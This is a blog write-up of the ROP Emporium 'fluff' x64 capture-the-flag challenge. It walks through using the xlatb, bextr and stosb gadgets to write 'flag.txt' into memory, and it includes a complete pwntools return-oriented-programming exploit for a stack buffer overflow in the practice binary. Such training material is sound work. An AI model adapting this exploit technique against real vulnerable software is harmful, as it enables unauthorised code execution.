Post

ROP Emporium fluff Writeup (x64)

ROP Emporium fluff Writeup (x64)

Introduction

ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the sixth challenge of eight.

According to the challenge page our goal is to call print_file() with the name of the file to read as the first argument. The string flag.txt doesn’t exist in the binary, so we will need to write it there ourselves.

This is what a hint will look like!

Offset

The offset for x64 challenges will be 40 bytes. If you want to know how to find this value see the first writeup of this series.

Find the print_file address and a gadget which sets the rdi register

First let’s find the address of print_file() using the command afl

print-file-addr

print_file is part of a library so we can just use the address of corresponding plt entry, 0x00400510

Now we need to set the first argument to this function. According to the x64 calling convention, the first argument of a function is passed through the rdi register. Let’s find a gadget to control it

1
/R pop rdi

rdi-addr

Perfect! Our gadget address is 0x004006a3

Questionable Gadgets

Checkout usefulFunction’s assembly and learn what each instruction does

Let’s check the questionableGadgets section in usefulFunction. We can view the assembly with the following commands

1
2
3
s sym.usefulFunction
V
p

questionable gadgets

There are three gadgets here and they contain instructions you might not be familiar with, so let’s go over what each gadget does

Gadget 1: xlatb

gadget1

Our first gadget only has the xlatb instruction and nothing else. According to the xlatb documentation this instruction copies a byte from a table into register al. The table’s base address is set in ebx and the table’s offset is set in al. Referencing this x64 cheat sheet register al refers to byte 0 of register rax

This will allow us to read an arbitrary byte from memory and store it into al, but there aren’t any gadgets which allow us to control ebx or rax with a pop instruction. Let’s see what the other gadgets can do

Gadget 2: bextr

gadget2

The second gadget is the longest and uses the bextr instruction. According to the bextr documentation this instruction will extract some bits from the value in rcx and save those bits into rbx. The start index and bit length to extract from rbx is defined in rdx.

The pop instructions allow us to control the rdx and rcx registers. Since these are the source operands for the bextr instruction, we essentially control rbx. Referring to the x64 cheat sheet again, we see that the ebx register refers to bytes 0-3 of the rbx register. Now we have a way to control the first gadget’s table address!

Gadget 3: stosb

gadget3

The stosb documenation says this instruction will write the contents of al into the memory location in rdi. This is essentially a mov instruction but just uses registers that are harder for us to access. We already have a pop rdi gadget to set the first argument of the print_file function, so we just need to be able to control al.

Looking at the first gadget again, register al acts not only as the table offset, but will contain the byte read from the table when the instruction finishes. Though it may seem a little convoluted, we control enough registers to write to an arbitrary place in memory!

Writing to Memory

To write to memory we need to use gadget 3 which will write the value in al to the address at rdi. We can use gadget 1 which sets al to a value read from memory according to an address ebx and offset al. gadget 2 gives us a way to set ebx by setting rbx with the registers rcx and rdx.

Essentially we will have three steps

  1. Put the address of a byte we want to read into rbx using gadget 2
  2. Read the byte at that address and place it into al with gadget 1
  3. Write byte in al to an address with gadget 3

Let’s start by creating a function which sets rbx

Set rbx

gadget2

bextr will extract bits from rcx according to the arguments set in rdx and save it in rdx. The add instruction will mess with our rcx value we’re going to set from the stack. In order to ignore this, we can just shift our value to avoid the add.

For example, say we want to copy the number 123 but the number 7 will always be added to it. To ignore the +7 we can shift our value 123 -> 1230. This way, 7 will still get added to the string but we can set the extraction arguments such that we only read the first 3 digits. Our value will become 1237 but by extracting the first 3 numbers we get our original value of 123

To extract the correct bits we should refer to the bextr documentation. 0x3ef2 is 32 bits so we want to read 32 bits starting and index 32. These values are set into the first 16 bits of rdx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/python3
from pwn import *

gadget2 = 0x0040062a

def set_rbx(addr):
    payload = b''

    # index and length of bits to copy
    # first 8 index
    rdx1 = p8(32)
    # last 8 len
    rdx2 = p8(32)
    rdx3 = p32(0) + p16(0)
    rdx = rdx1 + rdx2 + rdx3

    # address we want to copy
    # addr + 0x3ef2
    # avoid addition by leaving it blank
    # 0xXXXX0000
    # 0x00003ef2
    rcx1 = p32(0)
    rcx2 = p32(addr)
    rcx = rcx1 + rcx2

    # sets rbx
    payload += p64(gadget2) + rdx + rcx
    return payload

Read Byte

gadget1

The xlatb instruction will read a byte from rbx + al and save it into al. In order to read the correct byte, we’ll need to subtract the previous value of al from rbx

1
2
rbx + al = target_address
rbx = target_address - al

To properly read a byte from memory we need to answer two questions

  1. What is the initial value of al?
  2. What addresses should we be reading from?

al’s initial value can be found using pwndbg (or your favorite debugger) and stepping through a basic ROP chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/python3
from pwn import *

gadget1 = 0x00400628
payload = b'A' * 40 + p64(gadget1)

# replace kitty with your terminal
context.terminal = ['kitty']

# break when ropchain starts
io = gdb.debug('./fluff', '''
               b pwnme
               c
               b *0x00400628
               c
               ''')
io.send(payload)
io.interactive()

al value

The initial value of al is 11!

Next we need to find addresses to read from. Our goal is to construct the string flag.txt so let’s search the binary for these characters using good ol radare2. We can search for strings, or in our case specific characters, using the / command

1
2
3
/ f
/ l
/ a

letter addresses

The addresses returned will refer to our searched character. Copy any address for every needed character. Here’s what this exploit will use

1
2
3
char_map = {'f': 0x0040058a, 'l': 0x004003e4, 'a': 0x00400424,
            'g': 0x004003cf, '.': 0x004003fd, 't': 0x004003e0,
            'x': 0x00400725}

Write Byte

gadget3

We can control what is in al and rdi by this point, so now we just need a place to write to and some code to generate the ROP chain

We can view writable sections in radare2 with the iS command

writable sections

Let’s use the .data section which has the address 0x00601028

Using everything we’ve found we can finally create a function which will write a byte to a location in memory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
char_map = {'f': 0x0040058a, 'l': 0x004003e4, 'a': 0x00400424,
            'g': 0x004003cf, '.': 0x004003fd, 't': 0x004003e0,
            'x': 0x00400725}

# initial al value
al = 11 

# char is what we will write
# addr is address of target char
# offset will find the proper writing location
# returns ROP chain in bytes
def write_byte(addr, char, offset):
    global al
    
    # set address to get byte
    payload = set_rbx(addr-al)

    # read byte into al
    payload += p64(gadget1)
    # update al with new value
    al = ord(char)

    # write byte al into .data
    rdi = p64(write_addr + offset)
    payload += p64(pop_rdi) + rdi + p64(gadget3)
    return payload

Exploit

We have everything we need to build our exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/bin/python3
from pwn import *

# addresses
write_addr = 0x00601028     # data addr
print_file_addr = 0x00400510
pop_rdi = 0x004006a3
junk = 0xdeadbeefdeadbeef

# xlatb
# gets byte from table memory with
# register al as the index (8 bits unsigned int)
# rbx contains base addr
# returns result into al
gadget1 = 0x00400628

# pop rdx
# pop rcx
# add rcx, 0x3ef2
# bextr rbx, rcx, rdx
# extracts bits from rcx according to rdx
# result saved in rbx
gadget2 = 0x0040062a

# stosb byte [rdi], al
# stores byte from al into rdi
# writes al into rdi addr
gadget3 = 0x00400639

# saves 32bit addr in rbx
def set_rbx(addr):
    payload = b''

    # index and length of bits to copy
    # first 8 index
    rdx1 = p8(32)
    # last 8 len
    rdx2 = p8(32)
    rdx3 = p32(0) + p16(0)
    rdx = rdx1 + rdx2 + rdx3

    # address we want to copy
    # addr + 0x3ef2
    # avoid addition by leaving it blank
    # 0xXXXX0000
    # 0x00003ef2
    rcx1 = p32(0)
    rcx2 = p32(addr)
    rcx = rcx1 + rcx2

    # sets rbx
    payload += p64(gadget2) + rdx + rcx
    return payload


al = 11 # initial al value
# char is what we will write
# addr is address of target char
# offset will find the proper writing location
# returns ROP chain in bytes
def write_byte(addr, char, offset):
    global al
    
    # set address to get byte
    payload = set_rbx(addr-al)

    # read byte into al
    payload += p64(gadget1)
    # update al with new value
    al = ord(char)

    # write byte al into .data
    rdi = p64(write_addr + offset)
    payload += p64(pop_rdi) + rdi + p64(gadget3)
    return payload

# write flag.txt in mem
char_map = {'f': 0x0040058a, 'l': 0x004003e4, 'a': 0x00400424,
            'g': 0x004003cf, '.': 0x004003fd, 't': 0x004003e0,
            'x': 0x00400725}
target_str = 'flag.txt'

# create payload
payload = b'A' * 40
for i in range(0, len(target_str)):
    c = target_str[i]
    payload += write_byte(char_map[c], c, i)
# print file
payload += p64(pop_rdi) + p64(write_addr) + p64(print_file_addr)

io = process('./fluff')
io.send(payload)
io.recvuntil(b'Thank you!\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))

flag

Conclusion

In this challenge we learned how to write to memory without using a mov instruction. By chaining the effects of multiple gadgets together we can achieve the same functionality of a missing instruction! In the next challenge we’ll learn how to pivot the stack

Previous Challenge (badchars)

Next Challenge (pivot)

fluff x86

This post is licensed under CC BY 4.0 by the author.